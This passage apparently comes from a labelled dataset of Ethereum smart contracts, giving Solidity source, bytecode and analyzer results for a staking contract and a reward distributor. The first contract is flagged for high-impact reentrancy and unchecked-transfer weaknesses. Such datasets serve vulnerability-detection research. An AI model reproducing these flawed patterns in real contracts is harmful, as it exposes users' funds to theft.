if (totalClaimedRewards >= stakingTokens) {
return 0;
}
uint remaining = stakingTokens.sub(totalClaimedRewards);
return remaining;
}
// function to allow owner to claim *other* ERC20 tokens sent to this contract
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
revert();
}
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x6080604052600436106101145760003560e01c806398896d10116100a0578063ced066c911610064578063ced066c9146104c9578063d578ceab146104f4578063ddca3f431461051f578063f2fde38b1461054a578063f3f91fa01461059b57610114565b806398896d10146103655780639d76ea58146103ca578063a694fc3a1461040b578063bec4de3f14610439578063c326bf4f1461046457610114565b80636270cd18116100e75780636270cd18146101ee578063658b6729146102535780636a395ccb1461027e5780637b0a47ee146102f95780638da5cb5b1461032457610114565b80630f1a6444146101195780632e17de78146101445780634e71d92d14610172578063583d42fd14610189575b600080fd5b34801561012557600080fd5b5061012e610600565b6040518082815260200191505060405180910390f35b6101706004803603602081101561015a57600080fd5b8101908080359060200190929190505050610607565b005b34801561017e57600080fd5b50610187610a99565b005b34801561019557600080fd5b506101d8600480360360208110156101ac57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa4565b6040518082815260200191505060405180910390f35b3480156101fa57600080fd5b5061023d6004803603602081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610abc565b6040518082815260200191505060405180910390f35b34801561025f57600080fd5b50610268610ad4565b6040518082815260200191505060405180910390f35b34801561028a57600080fd5b506102f7600480360360608110156102a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae5565b005b34801561030557600080fd5b5061030e610c3c565b6040518082815260200191505060405180910390f35b34801561033057600080fd5b50610339610c42565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561037157600080fd5b506103b46004803603602081101561038857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c66565b6040518082815260200191505060405180910390f35b3480156103d657600080fd5b506103df610dd5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104376004803603602081101561042157600080fd5b8101908080359060200190929190505050610ded565b005b34801561044557600080fd5b5061044e6111aa565b6040518082815260200191505060405180910390f35b34801561047057600080fd5b506104b36004803603602081101561048757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b2565b6040518082815260200191505060405180910390f35b3480156104d557600080fd5b506104de6111ca565b6040518082815260200191505060405180910390f35b34801561050057600080fd5b50610509611213565b6040518082815260200191505060405180910390f35b34801561052b57600080fd5b50610534611219565b6040518082815260200191505060405180910390f35b34801561055657600080fd5b506105996004803603602081101561056d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611224565b005b3480156105a757600080fd5b506105ea600480360360208110156105be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611373565b6040518082815260200191505060405180910390f35b62093a8081565b662386f26fc10000341015610684576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f496e73756666696369656e7420666565206465706f73697465642e000000000081525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156106ea573d6000803e3d6000fd5b5080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156107a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b62093a806107f6600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261138b90919063ffffffff16565b1161084c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806118ce6034913960400191505060405180910390fd5b610855336113a2565b73b6aa337c9005fbf3a10edde47ddde3541adb79cb73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156108da57600080fd5b505af11580156108ee573d6000803e3d6000fd5b505050506040513d602081101561090457600080fd5b8101908080519060200190929190505050610987576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6109d981600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138b90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a3033600261163890919063ffffffff16565b8015610a7b57506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610a9657610a9433600261166890919063ffffffff16565b505b50565b610aa2336113a2565b565b60056020528060005260406000206000915090505481565b60076020528060005260406000206000915090505481565b6000610ae06002611698565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b3d57600080fd5b73b6aa337c9005fbf3a10edde47ddde3541adb79cb73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b8a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610bfb57600080fd5b505af1158015610c0f573d6000803e3d6000fd5b505050506040513d6020811015610c2557600080fd5b810190808051906020019092919050505050505050565b6155f081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610c7c82600261163890919063ffffffff16565b610c895760009050610dd0565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610cda5760009050610dd0565b6000610d2e600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261138b90919063ffffffff16565b90506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000610dc7612710610db96301e13380610dab87610d9d6155f0896116ad90919063ffffffff16565b6116ad90919063ffffffff16565b6116dc90919063ffffffff16565b6116dc90919063ffffffff16565b90508093505050505b919050565b73b6aa337c9005fbf3a10edde47ddde3541adb79cb81565b662386f26fc10000341015610e6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f496e73756666696369656e7420666565206465706f73697465642e000000000081525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610ed0573d6000803e3d6000fd5b5060008111610f47576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b73b6aa337c9005fbf3a10edde47ddde3541adb79cb73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610fea57600080fd5b505af1158015610ffe573d6000803e3d6000fd5b505050506040513d602081101561101457600080fd5b8101908080519060200190929190505050611097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b6110a0336113a2565b6110f281600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f590919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061114933600261163890919063ffffffff16565b6111a75761116133600261171190919063ffffffff16565b5042600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b6301e1338081565b60046020528060005260406000206000915090505481565b6000698ffedfb5959759000000600154106111e85760009050611210565b6000611209600154698ffedfb595975900000061138b90919063ffffffff16565b9050809150505b90565b60015481565b662386f26fc1000081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461127c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112b657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915090505481565b60008282111561139757fe5b818303905092915050565b60006113ad82610c66565b905060008111156115f05773b6aa337c9005fbf3a10edde47ddde3541adb79cb73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561143d57600080fd5b505af1158015611451573d6000803e3d6000fd5b505050506040513d602081101561146757600080fd5b81019080805190602001909291905050506114ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61153c81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f590919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611594816001546116f590919063ffffffff16565b6001819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000611660836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611741565b905092915050565b6000611690836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611764565b905092915050565b60006116a68260000161184c565b9050919050565b600080828402905060008414806116cc5750828482816116c957fe5b04145b6116d257fe5b8091505092915050565b6000808284816116e857fe5b0490508091505092915050565b60008082840190508381101561170757fe5b8091505092915050565b6000611739836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61185d565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461184057600060018203905060006001866000018054905003905060008660000182815481106117af57fe5b90600052602060002001549050808760000184815481106117cc57fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061180457fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611846565b60009150505b92915050565b600081600001805490509050919050565b60006118698383611741565b6118c25782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506118c7565b600090505b9291505056fe596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea2646970667358221220222a73b10b8a3b41491a0f32404ca5863fabcba1ac3baf1d8853e1e98b1732f264736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,247 |
0x269deAEE3076D313113feF0Da1b1d434fb77e628
|
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) {
return div( mul( total_, percentage_ ), 1000 );
}
function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) {
return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) );
}
function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) {
return div( mul(part_, 100) , total_ );
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) {
return sqrrt( mul( multiplier_, payment_ ) );
}
function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) {
return mul( multiplier_, supply_ );
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy( address newPolicy_ ) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred( address(0), _policy );
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require( _policy == msg.sender, "Ownable: caller is not the owner" );
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred( _policy, address(0) );
_policy = address(0);
}
function pushPolicy( address newPolicy_ ) public virtual override onlyPolicy() {
require( newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require( msg.sender == _newPolicy );
emit OwnershipTransferred( _policy, _newPolicy );
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards( address _recipient, uint _amount ) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
/* ====== VARIABLES ====== */
address public immutable SNOOP;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping( uint => Adjust ) public adjustments;
/* ====== STRUCTS ====== */
struct Info {
uint rate; // in ten-thousandths ( 5000 = 0.5% )
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
/* ====== CONSTRUCTOR ====== */
constructor( address _treasury, address _snoop, uint _epochLength, uint _nextEpochBlock ) {
require( _treasury != address(0) );
treasury = _treasury;
require( _snoop != address(0) );
SNOOP = _snoop;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
/* ====== PUBLIC FUNCTIONS ====== */
/**
@notice send epoch reward to staking contract
*/
function distribute() external returns ( bool ) {
if ( nextEpochBlock <= block.number ) {
nextEpochBlock = nextEpochBlock.add( epochLength ); // set next epoch block
// distribute rewards to each recipient
for ( uint i = 0; i < info.length; i++ ) {
if ( info[ i ].rate > 0 ) {
ITreasury( treasury ).mintRewards( // mint and send from treasury
info[ i ].recipient,
nextRewardAt( info[ i ].rate )
);
adjust( i ); // check for adjustment
}
}
return true;
} else {
return false;
}
}
/* ====== INTERNAL FUNCTIONS ====== */
/**
@notice increment reward rate for collector
*/
function adjust( uint _index ) internal {
Adjust memory adjustment = adjustments[ _index ];
if ( adjustment.rate != 0 ) {
if ( adjustment.add ) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add( adjustment.rate ); // raise rate
if ( info[ _index ].rate >= adjustment.target ) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub( adjustment.rate ); // lower rate
if ( info[ _index ].rate <= adjustment.target ) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
/* ====== VIEW FUNCTIONS ====== */
/**
@notice view function for next reward at given rate
@param _rate uint
@return uint
*/
function nextRewardAt( uint _rate ) public view returns ( uint ) {
return IERC20( SNOOP ).totalSupply().mul( _rate ).div( 1000000 );
}
/**
@notice view function for next reward for specified address
@param _recipient address
@return uint
*/
function nextRewardFor( address _recipient ) public view returns ( uint ) {
uint reward;
for ( uint i = 0; i < info.length; i++ ) {
if ( info[ i ].recipient == _recipient ) {
reward = nextRewardAt( info[ i ].rate );
}
}
return reward;
}
/* ====== POLICY FUNCTIONS ====== */
/**
@notice adds recipient for distributions
@param _recipient address
@param _rewardRate uint
*/
function addRecipient( address _recipient, uint _rewardRate ) external onlyPolicy() {
require( _recipient != address(0) );
info.push( Info({
recipient: _recipient,
rate: _rewardRate
}));
}
/**
@notice removes recipient for distributions
@param _index uint
@param _recipient address
*/
function removeRecipient( uint _index, address _recipient ) external onlyPolicy() {
require( _recipient == info[ _index ].recipient );
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
/**
@notice set adjustment info for a collector's reward rate
@param _index uint
@param _add bool
@param _rate uint
@param _target uint
*/
function setAdjustment( uint _index, bool _add, uint _rate, uint _target ) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
|
0x608060405234801561001057600080fd5b50600436106100ff5760003560e01c806361d027b311610097578063c9fa8b2a11610066578063c9fa8b2a1461038b578063e4fc6b6d146103cd578063f7982243146103ed578063fe3fbbad1461043b576100ff565b806361d027b3146102b7578063a15ad077146102eb578063a4b239801461032f578063bc3b2b1214610339576100ff565b806339bbaed2116100d357806339bbaed21461020d57806357d775f8146102415780635beede081461025f5780635db854b014610269576100ff565b8062640c2e146101045780630505c8c9146101225780632e3405991461015657806336d33f44146101b5575b600080fd5b61010c610489565b6040518082815260200191505060405180910390f35b61012a61048f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101826004803603602081101561016c57600080fd5b81019080803590602001909291905050506104b8565b604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b6101f7600480360360208110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061050c565b6040518082815260200191505060405180910390f35b6102156105d2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102496105f6565b6040518082815260200191505060405180910390f35b61026761061a565b005b6102b56004803603608081101561027f57600080fd5b81019080803590602001909291908035151590602001909291908035906020019092919080359060200190929190505050610774565b005b6102bf6108a2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c6565b005b610337610a51565b005b6103656004803603602081101561034f57600080fd5b8101908080359060200190929190505050610bd0565b604051808415158152602001838152602001828152602001935050505060405180910390f35b6103b7600480360360208110156103a157600080fd5b8101908080359060200190929190505050610c07565b6040518082815260200191505060405180910390f35b6103d5610cd8565b60405180821515815260200191505060405180910390f35b6104396004803603604081101561040357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e8b565b005b6104876004803603604081101561045157600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611033565b005b60025481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600481815481106104c857600080fd5b90600052602060002090600202016000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b60008060005b6004805490508110156105c8578373ffffffffffffffffffffffffffffffffffffffff166004828154811061054357fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156105bb576105b8600482815481106105a157fe5b906000526020600020906002020160000154610c07565b91505b8080600101915050610512565b5080915050919050565b7f0000000000000000000000008715ca97c5b464c1957cefbd18015b5567e5206081565b7f000000000000000000000000000000000000000000000000000000000000089881565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461067457600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610835576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60405180606001604052808415158152602001838152602001828152506003600086815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505050505050565b7f000000000000000000000000f36cb80fb7a184d3243fcf931d7c89f84034a9fa81565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610987576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116ee6026913960400191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b12576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60036020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b6000610cd1620f4240610cc3847f0000000000000000000000008715ca97c5b464c1957cefbd18015b5567e5206073ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7a57600080fd5b505afa158015610c8e573d6000803e3d6000fd5b505050506040513d6020811015610ca457600080fd5b81019080805190602001909291905050506111f090919063ffffffff16565b61127690919063ffffffff16565b9050919050565b60004360025411610e8357610d187f00000000000000000000000000000000000000000000000000000000000008986002546112c090919063ffffffff16565b60028190555060005b600480549050811015610e7957600060048281548110610d3d57fe5b9060005260206000209060020201600001541115610e6c577f000000000000000000000000f36cb80fb7a184d3243fcf931d7c89f84034a9fa73f